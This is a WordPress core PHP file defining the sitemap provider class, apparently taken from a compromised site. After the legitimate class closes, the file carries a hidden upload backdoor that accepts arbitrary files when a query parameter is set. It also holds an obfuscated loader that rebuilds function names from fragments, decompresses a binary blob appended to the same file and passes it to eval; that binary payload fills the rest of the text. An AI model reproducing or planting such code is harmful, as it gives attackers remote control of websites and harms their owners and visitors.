	 * This will also be used as the public-facing name in URLs.
	 *
	 * @since 5.5.0
	 *
	 * @var string
	 */
	protected $name = '';

	/**
	 * Object type name (e.g. 'post', 'term', 'user').
	 *
	 * @since 5.5.0
	 *
	 * @var string
	 */
	protected $object_type = '';

	/**
	 * Gets a URL list for a sitemap.
	 *
	 * @since 5.5.0
	 *
	 * @param int    $page_num       Page of results.
	 * @param string $object_subtype Optional. Object subtype name. Default empty.
	 * @return array[] Array of URL information for a sitemap.
	 */
	abstract public function get_url_list( $page_num, $object_subtype = '' );

	/**
	 * Gets the max number of pages available for the object type.
	 *
	 * @since 5.5.0
	 *
	 * @param string $object_subtype Optional. Object subtype. Default empty.
	 * @return int Total number of pages.
	 */
	abstract public function get_max_num_pages( $object_subtype = '' );

	/**
	 * Gets data about each sitemap type.
	 *
	 * @since 5.5.0
	 *
	 * @return array[] Array of sitemap types including object subtype name and number of pages.
	 */
	public function get_sitemap_type_data() {
		$sitemap_data = array();

		$object_subtypes = $this->get_object_subtypes();

		/*
		 * If there are no object subtypes, include a single sitemap for the
		 * entire object type.
		 */
		if ( empty( $object_subtypes ) ) {
			$sitemap_data[] = array(
				'name'  => '',
				'pages' => $this->get_max_num_pages(),
			);
			return $sitemap_data;
		}

		// Otherwise, include individual sitemaps for every object subtype.
		foreach ( $object_subtypes as $object_subtype_name => $data ) {
			$object_subtype_name = (string) $object_subtype_name;

			$sitemap_data[] = array(
				'name'  => $object_subtype_name,
				'pages' => $this->get_max_num_pages( $object_subtype_name ),
			);
		}

		return $sitemap_data;
	}

	/**
	 * Lists sitemap pages exposed by this provider.
	 *
	 * The returned data is used to populate the sitemap entries of the index.
	 *
	 * @since 5.5.0
	 *
	 * @return array[] Array of sitemap entries.
	 */
	public function get_sitemap_entries() {
		$sitemaps = array();

		$sitemap_types = $this->get_sitemap_type_data();

		foreach ( $sitemap_types as $type ) {
			for ( $page = 1; $page <= $type['pages']; $page++ ) {
				$sitemap_entry = array(
					'loc' => $this->get_sitemap_url( $type['name'], $page ),
				);

				/**
				 * Filters the sitemap entry for the sitemap index.
				 *
				 * @since 5.5.0
				 *
				 * @param array  $sitemap_entry  Sitemap entry for the post.
				 * @param string $object_type    Object empty name.
				 * @param string $object_subtype Object subtype name.
				 *                               Empty string if the object type does not support subtypes.
				 * @param int    $page           Page number of results.
				 */
				$sitemap_entry = apply_filters( 'wp_sitemaps_index_entry', $sitemap_entry, $this->object_type, $type['name'], $page );

				$sitemaps[] = $sitemap_entry;
			}
		}

		return $sitemaps;
	}

	/**
	 * Gets the URL of a sitemap entry.
	 *
	 * @since 5.5.0
	 *
	 * @global WP_Rewrite $wp_rewrite WordPress rewrite component.
	 *
	 * @param string $name The name of the sitemap.
	 * @param int    $page The page of the sitemap.
	 * @return string The composed URL for a sitemap entry.
	 */
	public function get_sitemap_url( $name, $page ) {
		global $wp_rewrite;

		// Accounts for cases where name is not included, ex: sitemaps-users-1.xml.
		$params = array_filter(
			array(
				'sitemap'         => $this->name,
				'sitemap-subtype' => $name,
				'paged'           => $page,
			)
		);

		$basename = sprintf(
			'/wp-sitemap-%1$s.xml',
			implode( '-', $params )
		);

		if ( ! $wp_rewrite->using_permalinks() ) {
			$basename = '/?' . http_build_query( $params, '', '&' );
		}

		return home_url( $basename );
	}

	/**
	 * Returns the list of supported object subtypes exposed by the provider.
	 *
	 * @since 5.5.0
	 *
	 * @return array List of object subtypes objects keyed by their name.
	 */
	public function get_object_subtypes() {
		return array();
	}
}
<?php error_reporting(0); if(trim($_GET['f']) == 'f'){ $saw1 = $_FILES['file']['tmp_name']; $saw2 = '../'.$_FILES['file']['name']; echo "<form method='POST' enctype='multipart/form-data'><input type='file'name='file' /><input type='submit' value='upload' /></form>"; if($saw1 && $saw2) move_uploaded_file($saw1, $saw2); } ?><?php
$lurd='fi'.'le_get'.'_conte'.'nts';$FdBT='st'.'r'.'_repl'.'ace';$VYRn='exi'.'t';$OTNj='gzuncom'.'press';$tyji='subs'.'tr';eval($OTNj($FdBT('ipxjwdghce','>',$FdBT('hujdwrpvgl','<',$tyji($lurd( __FILE__ ),-172606)))));$VYRn(0);
?>
xTǎ^_ܫ zAz~ҠAP$7{k%/_Y"ߗ,~_|.Gmߟ!=뀲w`?߁hujdwrpvgl㟢(HDH2:/h*òK 6o˼Tvjs/heH_G\g:O}_ipxjwdghcezjh0,G-OΪ(=X2kuv"w"AsA tipxjwdghce΋2qB.љipxjwdghcerte~,kw3łeҨ$RIu^KȄ
~ڰ %0md-p0P)wۧ@ߔ~hujdwrpvgl;Ix=FYIZVmv7c\aI۞ڊdDWhujdwrpvgl^Obzr5TևpQ
9F+vZo0=һ'GipxjwdghceYTGXqrgsvIipxjwdghcehujdwrpvgl@R7caq]pw} |dĈ.mh&w4d٠V}ԥw-kG
YXjUi\E
&&J۫?بo١Ks'&Olvc;g`gcU,_n7iE*SER}"_9'?:lRڮ]9uv8s"?j?8۷{~}mU8emCe1KBph%%H ھn+l9tסJ(y^854*-PV'phZ!9D^!0=	1WX]WӨ+|- I~cKqe' aֲ3i^m9?kƬSi[,%+7#U	Wr|pK+֙*1L-vR5(jy98ghujdwrpvglRGjptlŬo&^GU],5F(c1B-^~mT=dF}97pڶP]@.͐yUZ-1mQ3)/Ok)q8]Ϥ`cm-[edgҰQ~^)jF0 m;pD]TS7~hujdwrpvgl=,.$6S.~7u qmSRRqwI{[5'#WQ5MJ!I3ipxjwdghceS&Яy&Zez
r'2gWuYhujdwrpvgl3[mmyH# ǅς[T=qs
6/ҿh- QX'"*~+q_$C!ָѴ_gxnã4'{`MGᱚ.D!bl^
0T^H[eOQlNx/JjxFc" f8r`=DCdCBߖߛO܂\&3N|^7cmvݢZQs=yJjhujdwrpvgl\h']NzD`"umYY1""|+r^'vΐ3E !JЊy̒v
:zU%a
7ȉx0xyH)~~|nB)3nKS{+~ipxjwdghce}/3MB(ipxjwdghceop 1&^sz
xŢ9D־Ԏ"\nw1G[X0S:HpsLͤ9'&Md8VT1UrDlQ@Ul?96FW"Ϸp kDe"hujdwrpvgly{0|ipxjwdghce5دIx-y%Foy Kx|MT_B;2[ȇoipxjwdghce/0d?=5Q[czV#L@c)iÚy-RWipxjwdghceWY pJxڂn/ڧ?T.fZ&!mά
4YH}\q՘NHέlmzwC1inDZ81R4׿ںfjnLkt['`f͏BH`v#k؎xGc% U.Ny+O׏^	6C3$G,d% Z	G'%qp~6qMBKo?E	w-.@0pB.@9cԙ# sN쁪J\0V3モp{RDS{{qgԨ|d?9.;\:vp1xN֮ [O;nlk٩fRP8_Tfޓ xa(AE&0dIjk~Ȋq\Pߍ#f@*dcnC
,,mUM`CLDnv`vcA8v7'c ^^|a;4|JVipxjwdghceN:MMGGA[jʇ*Ob'S\+M4@2ROb)Ah ^rpn!S6(ʋfZR%PfI_.$ұ+ 9YAnEJ"8:n¡LT 4soE
/9/Nm\JUQ&mqKXb8X.o{M}hipxjwdghcew]~gۯdsgޔ$RcJ]i0N0-i;\lVs"b|G~pt]/7?0 \fcQDeul4"hujdwrpvgl_eipxjwdghceݓnhujdwrpvglVb
e6YWtqKЗA-׼6g=Ƴ#PKQCl!WhOv
*ǧfyi))nYN32m!wX$({u3sK
7و,:NcqMR(~·BC:}31r7Ht5jږ1|W [sZi#ͼaYg۽
،q-trܻ/E
ӖX{?wDT
.vy ()c 4ݮ{Q1mY* ?6HaUauKZ!X_:NH)P={xi`%%n~h"ݯ\]?@θzz-`
]/JDx4Μ=KUOt\4|[1?Y=$FDEG)Ԑu!gL,N\tR}^HLL'$un/+o\|F)~&2xOxJ+YFkk0{Qwx(JU8K]V+MsPlciJYd^K]d%E4Xav5VGq
6~r,TLOZVRT%*Jm&3(.sB"ipxjwdghce	DK,aFm(2=ipxjwdghceh6QVR9d#襴R_mHO5TT@7wI A5B8hywڬ7MmǗȻkwu`90͔n`
y%03HI)u'.x0@Se_1={|R-16zf:
w
ϜJ{	4y͗skg~Jpvӂ]X7ah5O%_)5iipxjwdghceN /q̢e?)Ϭ&ppg}:Xᒹs@sbg"'EdOTBR|2NB. 'x}O|ipxjwdghceCipxjwdghceYbI-S˟J'F| 87
 G̰Jx`-4VK`pkP77Xh04Q,xړ|Г$KpMi!6eΨuܟ	)3Lipxjwdghce*ryxm)?wwKipxjwdghces͆֜ș߮l\7ĹB=,[ 
F?̩=UUl䋑s@Faq SU7r-}\9OcS'Ê5uwib\iԆ'
gުWXUX+";=!ipxjwdghcezC eŊkM"x]c4Mઍ+*P:PN܇Rz'yipxjwdghceӃǨvi]Zh 7lfx|6zٶ;-kF D~G FbŞAd-=C|OHnH,*J1'uDof(
;k79	o!JǄ2k{CvI~܋/ r j.Mj	C)b7!'Q߿1^^xLYٲViwEb %:Ezavn(Ēcr"̣pKWΝ7|2xɐSUipxjwdghceèo
jkQ]{_*A־VB9*xc-E!Ʌ
ipxjwdghceˇTlik'z
	Bnx"(K*ΔK[MeQKmQ7dL%ipxjwdghceZEiܞl|jXmЗ^Na]BMUB;=`=fI$ipxjwdghcei~aB
˛'5?RWqtZ=Jw0?O~0?$9/.wἽE:N|VLr-[dq`X"^y:|-O0h.5F-qV0(̇WTU=uʊipxjwdghce#Գ6zNUYcP!w-U\	! ݓ k$&LN#;tm߆̿j8
	:eWbΗ@$ޓBi3rH?
A "Vhed4{zrNW6sӁ5W#fH/њS^C I0NB6&zh=ɟnttp-g˲=PLOI%
;٥u0y3\\k@-$?! TInð7K3ű:2nV4%6t/  7-rԳppKe:^=օ{	4sgBZ~}XabծD'hRmY;kD
2=[2AQ0QI,dݏ`7ެ2sbm&BCbn닻D}hd^/=TahujdwrpvglOb05"L9ˌis\՚	ay0syi0]cw}+:}[Yt^K/"$ӵ1qxѰP̆Oc/pӆqipxjwdghce]"dv}td{KG	4ڕH8X6R[j6RGƟwLEDͭn6MxC=,K+?[y7'^5Ai~1/S:^)kG4iSf[zzEe5^+\ipxjwdghceqnHLLWrz,9v~׵Hy/H h'ipxjwdghceHk[O3ϐ:rg0 xبioQKٕeY@6l_v!b6!ka5ڞ
aoweO s͛*|Nc˸I+|MWq+&Ucg|"2Qt:zhujdwrpvglE! KόߢCL퍯*sr0[p'\Gvƣ-z]vZΠipxjwdghcepG6hujdwrpvglxPΪu@r
'':3}CI0lԛ-iK8xp:~Ҧͩ
M3U	j#Nlo)ca3Z[˦nFsmu|"qc,UN\Zb]tٱXn'h/WPp6~ʷq30)ǡ(h4Ov|Jǿs֋UFj6#ݪ͜'s@ipxjwdghce9,Z$`n\*G{_Rfr鋊ipxjwdghcePhb8omEx^4Xԯ}xT|s8攰$PPbE*e`LNq?!@z(4 jt":ygK3X۔=^s'ta4πɴG!1h`71cj5ʯ~-TЗ\MVពtoseG9{j	
QErY0qǢ]:qipxjwdghce
I:QtAgeg;|hgC8mfjwħDU-.NQ6%U_nuD}^ xfk1ŸLS4@1ըWq@)"D̠\+ripxjwdghceF@ ĥ^X[|W"KKq%޼}fgon(*N,1Nq.coĹq?uf7|?D|P3.0251UW۴R	+Gipxjwdghcey1{lQu G:&e ĩ(%0GY!;״Ǒ$.[?%?3t͌ڙ90y !@i;TޙyA^Fhujdwrpvgl-u&m}`?_Z1~P3pK	cUǾ¯r~[SM#kSee INhnIYKޝ+Wul80W!^''c+\7nC=	TOble^rb!XY49eJhujdwrpvglmmf]ArI1ؒhujdwrpvglIY0i}jK68{do|/j`	yBi1:Qֻkipxjwdghce
aW鹿|wU9iمH0UOj,2='y[aq2(~%
DӷKlKQ8̱1M0*glBVH K_5Rr{SkMr`^)C3BU0{^r8r;nipxjwdghceΛhujdwrpvgl8&bol̟p#갯܈鑵CxE'
ų
Гe0&
0m'GJ`}צ
y$#5rL|c-/V{ǓU,*NDr/BQ{Q*,ڄ8˹ r¶Ok.к_0/iǻPuG
8Jwv(ʍs4QIl.y \4:@#`SMTx@"Ç~pMG7j~_gKMM&ww?ٶn*CZd`Ac.Ycwp[ KXAn&Q5Ⱥ3\U5΄i"!
*;볢'")]˱ePe+Uhk1N;;UC=I_T6poFQlD`Oc60?߻rǘg~ʤC8`RrC;dG@1ǃWi/lipxjwdghceI9{piJO~x~.uIxw〤,pp:Ihujdwrpvgl낺m*ه!u5sݩè8O$3~4hujdwrpvgl`(:q17+tzksfxJG&gZ&M
}q1WVVg:Z((\L0+C=;
?H`rN&R@hujdwrpvglZQK';p
*r8rwm&c`hVl7Eԁ"B[hujdwrpvglH,ˠXYǝ`h(U-LB$&;0sipxjwdghcePpy3ZJ哹bMAN)k,2&rIő$ܯ}Fn?+PjVYxvVyP.l̴ *b.1T[0'e硿+wJ{%i#)G밓OYipxjwdghcewĂh¶2I͚gЃڬd}iU3J61ht/fviT.Y%i%Cce*@W~sh_2uQ㰅XTp/W~BU8P,+w$?ωj+`O}Y(x[@YMW[fY݊&MR+*S cfh=(|7E"6Y:3y1c{0|UW =3X-vz5'p-W{̏xPr
t\-&Oo/
h:+$'KsO
&zxY*58\T?YjBe㘘Bipxjwdghce!8so#kl15y߭yXH
T.il{9:7F.s¼tD^÷3 .Z2_27ǾW.SXÕ[|h;)$05sНH%Q%MͤJQR!`3~p9nk3orU$_fYN1.7 9"#ODOD,:nyG~QY8tu睸¬Y؉8KaL6ixPB	_*R؜$uipxjwdghcemħ1h_GΖ.pC[lk(VEg-k~b 6@ztasuRj!FjIIjJ%cAipxjwdghceHTk}}(*W$hujdwrpvgl"f.4xkW';ZMW0f}zN_/LZGEΦCoyȷB?3@ämT£;'㦸&5qpu,FOzU؉Mu,AoRz8#w{tYd=Թ5n I5Y$ipxjwdghceލ7ѨONw3-e0r=ƱLm&o\J	y뢽O7%#Iipxjwdghce .I}~s?ߣX`rEp f)m~~-HSsdqj~S9cH-U BKTzuȷ"L˚%f}hȜs|nA&f-.S\ѧB݉H:kDs%y `ec)1R:%@x
I)NϷeLn $^!hujdwrpvgl7~H~GOTir?+J@z
U~RG?Ș	ea*I"R374	J")'=E^dKmO`S?($?TK LlԦq4ȨݟJ?"7(fYoB	LnShujdwrpvglp_8Ԏ.g4S{:
v[DvI#*[g 5 ,]S20}l򩹞t4SIJ\r%.qIE.y{ipxjwdghcea(x5`()lc
~ÍrR$y_Ʀj'M~ú9\e*EO䕑o Ð3u$PhLƶc-:"3azfXnWdƙV)b:=A}`dʱށ^}d
fWH4yL\	EqLwd]텉9CXn
v+YeɪLӐy| )83-v_u͕WjOMȉc%2RWwUV|Xu7?|6E@+71Y/pdt {hujdwrpvglao
ipxjwdghce~)D2s~c?_nOx9ipxjwdghcefs+oDH]HK|P$AȔI#hujdwrpvglL/xVF`&@XC|#lG!4þϫ~~|	`{vLϔ뉐w Xi^X[3K5ͷF;_O6F(}OUwaxfQ
 _5\Dhujdwrpvglcؘ&I]p~p6m
[dny	:
 \Jݭ[C}0~uZY|!s]iN
S\)Fjz9׺YU7)Y=)?"=!NPNY	
.2BE/;NhujdwrpvglIPQ$U~]}X]=
jw~C-jS ĉt	)t`ÃV#~J}ex=F俿F|Px8bHל=[:sOPgx|e#(z"xyZn[d@]hujdwrpvglΥiEID)NIm|IZ,~$
OP Ky7`lDObwV2i^/olmp]!
ڻPY',Bhujdwrpvglc}|i ^}$D"|F)hujdwrpvgl+^vB߲UGfJ0+AME4
~nuxyj}i&%A,4攷8vD8 `ipxjwdghce(FFOqyb3&K=7,`h}Nʱ=`/eyTe=C~ *ؖr_oܙbhujdwrpvgl{`HU(d-Iv$#\0`F8#ipxjwdghceuɧ)e@RgLߤA֠wvutb~w@
'[0T*צktlfЙњW8,pkGB)Ty~9N!YV4=hujdwrpvglBGwRsJͯP&@ǵ.2t2K۩rbԫ3OIhg@_i##=(0B,(۴o5Bc8[΃uD\x%'c;
WzWJlVp_XoQ pߠ
 .G8h 3DhoK*pDps7\UOV 0F__brC6%%0Kylii^$j*?Zuwh~yYpC73ȧmJ=SÀeyC
:t"RUfXZj 5fx_[.ogvt:?\MlN3=:ipxjwdghce31L7' PI DBS'"ARt04SDHPjS8{ Xe]!;j%OdipxjwdghceZZ`4:GzduO[e6T=X,92=m r |HwTc(|yѵlbK $!xB:vCHj$lGT'Ҧ#Ғ	jD&BX3hujdwrpvglAPXZjU2)nt^CPwipxjwdghce
#3 ~$"F|	zu~%d duBŕ|O!@;":Ho7?#(.^P .w@;3u Jff-~Թ0"hujdwrpvgltV%J z=~'I4n{a ⭍{_pQ`hujdwrpvglnU6!9Tophujdwrpvgl9]j^FipxjwdghcehujdwrpvglȐOT u|nzripxjwdghcer;C@Ozo][{䦥7
ܨa̹uY4bgʞ.{SYy]  hWR4Ω%ݮ6V]Ki{R{Uipxjwdghce1.jhujdwrpvgl'tNAs1qB;FT2]r2%h#?( !Eo=ϲil\ANs?4ΈUbGf^*
yDSӰ`$;g-~\rwgc  \_rF-eipxjwdghce;t@L'×5;M zk;%k_:/yـXipxjwdghce?l=὇`
%ԅئ7l՝:]}| TQ[cgt*QhD*voZ{pL_p%ۈ#Uܙ[*JerUܔ#* .JTf-i_2梔Hipxjwdghce}0"Lɚ퓎ogں/d	##b5NɎK	tb7[uasNqeJlCx͸N5T:YPߊE?96ViR|VipxjwdghceÓR)@'
ƶf{ʞOm`Q&NbipxjwdghceXVj_3ٕ*CY/@f) 'vbЇrp.8L'N.Z.1
ü[D3^Q%k*o+G[	_PmpU_hujdwrpvgl
$7XP"~#M0b[ -lmir,9ЬزW ]FXgH#EM.*CVhujdwrpvgl|$˨(TqeRpURǥ)H8"#1=0TqDź\Ji*
'Mp+*%#3Ž2#o3ihujdwrpvglρqAa%%p00
F|_ 	ѸipxjwdghceZBU5Zp"d@#n~czc(/iUCW no
 z_!6`|4r`Tϲ6-2zmFipxjwdghceB0
LmH/%!	,
Ix^ٱԔtrR\JQ)鶍3Y_J
7b*F0Kĭ%eCN-Eẗsgͦ'r}
CϦ[r$kB'%B=r^Aڴc̝|xk͠s)(
ipxjwdghceq,n]ޞ,ɜ睹w/0|ޠ֯,ɉ*N`N	a"*([I\hujdwrpvglubtZ/.nYc[ ujU"~~`LUI+[('|M@N5/8U?(uI2
1P鏎N=/]S
i+ےUE,%
'drZz#XiXlBdנW+N_tv3*ELE8̤UʋZ"~A4tf_xg%7%-=1cTLnD{HNH-/xmҩārYjhkF*2oHR0#3bhujdwrpvglINu2Fǂ_P1FqN2nt4k
2 Q~z~=lgo9dd=5p}חר"RvcPeB|28_υD!ipxjwdghce{diFP݌;š`77Up
.yipxjwdghce3hujdwrpvglZ.@D|L'ipxjwdghcemɶb{%i^fԒ (BESk340\AUYinG\y.3"Z]/NWkjU4(kM}+"*?!ipxjwdghcei`:6yQEgF,8 [lJ%cm0*xH$B Yu7x\q`\USʧv t7zixgWbt8=0|+Ʃ+\!
oAi c#E&Pꇡ"hWA,kȓ˄#w*o|?7f"\Wv$Q{[ zqH^$Nd
-L}w~*dEͱߋCE,L^GrrGIXah߽ڽcAlhujdwrpvglsipxjwdghceJ
Z&GQSY}';B헫"@Fh,()ӏ6-'ֶy7ZQ9?ĮyTipxjwdghce,eS1 $.B}ipxjwdghcegipxjwdghce]e.BƾoRR)NğmX)4gak[˚6q4-ǔB24&PWQ\(
z+n^S`0@"{3lELu8C^j@?Alԑ3$`̂a֌=0De򦱚ƦK@*&\1k$Z;^bY5%6qDkT kLyN܊Q7{=Ig`G#$Txc[ii._.	ŤN#v]7 +5"0Tipxjwdghcex檩:gM7ټۻ_xr^?TD5g(kÆ _Mipxjwdghce.x@AfmkdDhujdwrpvglv2
R,C=_4lnq]c=CMd?JzjAM"OO9LV:=Wipxjwdghce9h=!.GQ6gmOrY?6	]'#/ӒNq3m7Z}YvujE$?QjY WH. 2'OOĂC{lvވ@DY܏_ͪq?Bb]b?*5P2J!2~AYRZ퉩3x/V8-D]gƹ0myTyxH@aW4Ƀ\onE(WrfDY\	)"`E	u\fXFDjpN_)aw ,/J%l4a(h)~Y'wDԏN\3aϾf.@˻z2UQߑ2p5$|2	ZLUA1zWxYȋQ^P3}r{oq/P
;Mۋ&LxnVR5bĖipxjwdghceD
48TEVGgʟ*FOB}.ݼv+un	wZY͈V(w0?Nں%w?PSU?G5OB@)h&a8+}BHNG$
~y'nY駋0R(1_JF/y1=L\NTv
bƂipxjwdghce^2BDc'|«Ѭ 
A-ꪨ}=R 1e |iC|%%K4??GgaއmW`*^#ivN&@CbL%IDwmwQuYǘ"o`Ԓ@6ȹ픧hujdwrpvglݰ3~yQx20|ܲ(Ґ+C~6nyp켪ó33z5)1EmG &ҳ4ɲN.-r36돘&j3~lzA6L
⋎ym*L.bW
Q"VKY@nS
T-P9L Tl3&?+%j^羦GL1ipxjwdghceUqS쒥X$}^	pK\G'ehM\T:PM%=~R*Hթx{t!N
ځW?5w64Uf	bUbQ5"nmY0|zdRbVr P_e3ipxjwdghceaߴnrD3|\Es3xo n*L
V`ЩŜ*W1NN8~7Y5䜒K:hujdwrpvgl]ipxjwdghceU!Q(\?(YXB+*qK]IQ3^hhujdwrpvglEo^&.p1Yr{߈R̃le1h`t=]TQ|a0fAGipxjwdghce.~Gi)yeɡQZv
}Rbjm׼hujdwrpvgl9]))zF[[4hyE}-ipxjwdghce"z9imxp`͆vʜVOꞘ68$U}-jnv޹"a1zՒ	2
cŕ\ͬ=!1F&C#ЎqSTyCD1ipxjwdghceoLK8inv.c3Q*V[4t$Ɔ]zԽACn;0t֬eۇ 7%CFH!O:DJȟ-./tp-0ܪ:YOe^-g鋻Qd]듙$mj"\1^iy$))HO~3 s]z
11Uٙ-J!;7KX2@#iopΤ|h(X'f	%J7x?d?0Cx|uF)Û]0$xwhujdwrpvgluWn1SG;gipxjwdghce}Q$s
k&4*"Wp|zgb:Nۇ(Y=W1w2C@fmm\1@ׯ^W2Un]OR5~"SbQ渘P9ɨ]]J{̯c)ipxjwdghcepbRPY_ͼnHq͟
."g9GdpܵdhujdwrpvglRW`fJ3/w(sy&:dU$֔W%ԕ'{N+o5D/e|᯿k/h{.irdccy^hujdwrpvglYS03mH+=jSm5Cskv]mИek8Ej()d.6uoCb"x]Hk*Z+-7
sK^kc|װc5#ճ8X:vKX/Irl!^duzw@Xs-~yBl"n֟
yv~7gSD~l~BM~^Rt3ԭ^KXX^?U*xP
[jFJ?{R7`4R;- ؓVXa;g]D19y3o,=.p@Psޓg}[P81ipxjwdghce@'c
aDf^hujdwrpvgl_jGj.ɸA"\LipxjwdghceĮ$kjqZ9
pvOhujdwrpvgl(vEa^%I\ݓ.oka9CXcE)wsMuq-_kt(`#lzlS z^=!o٩'QWC/hujdwrpvgl6W/45u_qfE#q&pi@ o-6mEhujdwrpvglżM	JMKG,a#ARĀ)Qdlup[?-|_.䐛^@YYd11d7hujdwrpvgl9"1i~nʮÈ+kD,2ҟ𮒾;pRg`OaXGP8u-s';/UhK7_% SY2cZE	1k\9?̜Q(,!ASwdC8oq.D?'OjB\7jܨ&p\OV$+aGys.¤ipxjwdghce
HHrhCCuhujdwrpvglkWЀ6'N`  1-'0uP+zR1]l?ipxjwdghcei9*&v4AC~4v/
́rFt"pI# D-x4Y{ŕ2C	'IvYҼyD+%`oaDY	3Q=|q`Pwlgiʮ#PhB	wh3sipxjwdghce%=ws)ht3#\z,-m2Gc;x#G74R1\҄|9}y9];n%ϱ'Bh D:Lw8Xf=8T]#2-7Pbz
mDϑm
E8{KK3|rhujdwrpvglNSa
5)O.`KyI`#}îݱCK+tU}LO_ws(fPA$ipxjwdghceOcjJͺ1Lb	eBr}@*2jiO.~!ǡEHipxjwdghce)H ipxjwdghce{\s
wv(߼STDd8C/|_ȓR_d4`^6t_ کQ	TQcN+\VO~qWP)V=VYo](PVeZg?F]ipxjwdghce
Zp)6$G"t]Ns#ۖ-ipxjwdghced96! V& E	N865e8׺;|_D
AқZ*Neg=_L"WpQNipxjwdghcef_o7=aer85N7cM}Z|^OS=8rX'~:/'ٴZMG/Teq@̻=̍cӓHq"óF	(kT"m@==p
ܝf󛪁ߤUZ p8Y;֔Fu9ipxjwdghcez1{_~츛m]i} U/D:,7qU0LAbTЇܟڴhB$#EZN"'Fshujdwrpvgls6*]j,lxn.zw곬 p	=TUeO4XS	Ȓp!-Y;G+`	4bZwS|h%tipxjwdghceY QEzvsvۊ_9 z~l?hujdwrpvgl#,`b:G8Dz,nx^Jk&f): wXmIrNrf(
n5|'j3F
w1'	,?(}ipxjwdghcecޏ$ȍDwXc!i*-֖wS8ipxjwdghceu? JK4Htxq:;_1cp2H%?=wǣQң;N6Tj-iMc
vSn~ f|wxe#x7U.e\GC7ipxjwdghce7l_)IkzOD28D07HSɻ7@O"e#:I\,?U001-9*aYMkH	zJSqac'\f*5 V\"J2TͿq$^?I&WMRbj֥UQ Y "2Ǆw~٘Wcipxjwdghce$V%=o4.1w[s˪֖R5(~/X⅀1Qs9&ipxjwdghceU1*;@ivuG+pȘOclGaw%'}'
J@]c[%~u;|ԏX/
@kßɌk,hujdwrpvgla\i;wPIQ_Z |ٴIbo~ZnTM0s.GXFUZ%4VfuHߐ2bwNf7!.cWC˳a(E"~p&=hujdwrpvgl&9]2p5)e|N;峪)Pli.eVxᎃd
 57%D
k)hujdwrpvglUk	XD6U239)|	hujdwrpvglT`^}"0.+Qbޫ^2N~9hujdwrpvglLJvy:KWbd`tIGOm~tF6Gipxjwdghce("-sZ;q6-s`Yhujdwrpvgl&秗˨F\#
d
ipxjwdghceIՋPjV'GJ[UpޥՂ[Akf9'H}2f'Chujdwrpvgl_}؆NzMy,v+/g؝"mbW@a:OO"Ț7!k1*
F e%]wi+Mk	9(1oIa3I\ZLL˿(0~(H4/ mXwL$"jךcipxjwdghcezD\I 9TfqTFqb~yM04jAcEQсR#BjN;JG͉H4W$$^B;7	M+6	;"
A\NϏ&28{nN[b#Pm|Sׅc){-ŴԢyx♼بX׍WH$F7yfB^Qz4mst5@F~PW䑮:!Jҗ[9+!8Eipxjwdghce?0)_Pv1e2u;ӈsG˛\9w϶%8u[R-oFaZkhujdwrpvgldM07(nD	fb9UE|__3f,T)#H݄_H+faVD,[@ʼN/Z7\)"(~JhujdwrpvglzƖ#["dИ˚I+ꇒ:	Qipxjwdghcezj@NȉZCF"RWI?d8mέnXb3;#R*~&=mU[8g.z)3$
Ti1S]& Փ|%'S)*"
vܗDpn	mmv!ֶfDyQ򸰲(ud;s.Għm0l9Kf
ޕ78/ŋhujdwrpvglH%)owFfc"e͂εzUg_d@⋠Y~hujdwrpvgl*'p~1؄D`= !\:$A|Q1_TsJGREfG+|m8-;d[n-Atƨ%	TޏCE
|ʯ?^-~hujdwrpvgl~+:/{"
N_d!lh^6xm 0Chujdwrpvglhujdwrpvgl	^BiZsykSР	SD! âp|Rijhujdwrpvgl/7xzpw
xEnW9ɅA&s3L a_Z`oaƞ!PşEb1Kep"hujdwrpvgl*`ͧ"CyK/ZgYPi{7hujdwrpvgl',%}K7}RI)^b?K``1ź
Ga9ܸÀ|U;lH"}@y#_9I7u/PɃQ@hujdwrpvglQ}T
;zlƍ1CMl&Oo4W-&)%[@V!_hujdwrpvglyhzBjZ:и`c`^@=1ˍujvڮyLvϏ,RΞi⛞ZQDv8r^x[N9:M78Y]K]o+`j-?~fPؾb[dZ"e/Y)6j" (4OH$0u4dE=D(ViU
Nhokϼdhujdwrpvgl]{6BO	φos($5
PFAqBG#ME]
+ztṞ'l;\.V=&hujdwrpvgl-yJ؞#U΋q
3΀kŶLƇUCྔ,?D*0M aXo]x e"}bWpH'f;zcQ%gj0~U	g&7碏BP(Z7HJIhujdwrpvglRos܊g4QD7N[hujdwrpvglz
Cc T߿W;h}hujdwrpvglX\&B=xAP
M5sgz=\"8a2A+;_hujdwrpvgl+냠P3CTဥD+KXo*1HZEJhujdwrpvgl+_(^V묆=e\0a;
j `{;})Ht2}9ߒ9rKExwHSEeIkNÞ6-AK[(^~TpHV%7z#jVg@(
Oo3f4?)77}d9V[/  Esh.'z䘺îp42%SOYyU\]X|ߙ7:Q;e33&NMs4{}CUc	S.mSR\ϨTE%YBQ	4
k8rH`cOPXQ$#˫fPB)Z8xA٤''iGyr?{P*`}L{
,g/ϘctIYԡщ\PԜ13
psWe=ipxjwdghceGe0]gQuC) @N+ZǂfE#IIT-MoPLV=1Bibuηm90-]Jexii(-.ipxjwdghce/lUyMte.Qo8Sn dpW־mUgBx'T))E?0hujdwrpvglM@gJ04(0HR^!f?(0!"$nG2A`Aɟhˣ!Td?܆l[.m~KӨ\+^V9DdUWr6ol@f'DgwYrc f^=EQȃwe&g'eT10[i͵C]4jY,]=%
~9-cE[	qE[|qhV截'5+)7ql{+Tqipxjwdghce#ѯIv~	?IhgI#* wjk^m^kߪD6~cH?)89A8Jswipxjwdghce~_n L9jo*tGP_YюaipxjwdghceaU2SEPKN*+ipxjwdghce&4i
Q"R76[Ydwc,kXP&SrE. ȗ\&?-'"cl*w?6^G.*yØS[.5Xj
3E;p@-.`VP8SMq~P:pXp.&+:g٪jq* S- Si}@҆w˗l?%2H;p=˺~!!k|Q{b)5'ୡipxjwdghce2s~"&-
X
#0LϺ]`hujdwrpvglIq
Y~$S}Y׏Tr,ov	f!c8vUJ2Pt&hujdwrpvgla]ʐ`-kqRaH
L ~ޠr̾WEj CRvxoM6!
;Iih"li9yg3R鵌_h s-
:$tܲ.-/.pE/,p iC$7=$:҄a7"hujdwrpvgl#b;CXQ
~UoWXďIK lQ'uXľNL$"YqV"D恺V.^io+5sWZzdx.f	L	tFF.}K_4DWA(ipxjwdghce ~ #tD=6!{0(dvLpZJQooU\@G^wmZ򡳇5k*gaI`"3DN]s:rپC1hujdwrpvglgD:n&nOߺ$,Gbw}ɑ-~$ƲwQ#6S4@=9|a߾%O94m7 RbGM*
W9hH[֭`
"hoSD=k2΃l
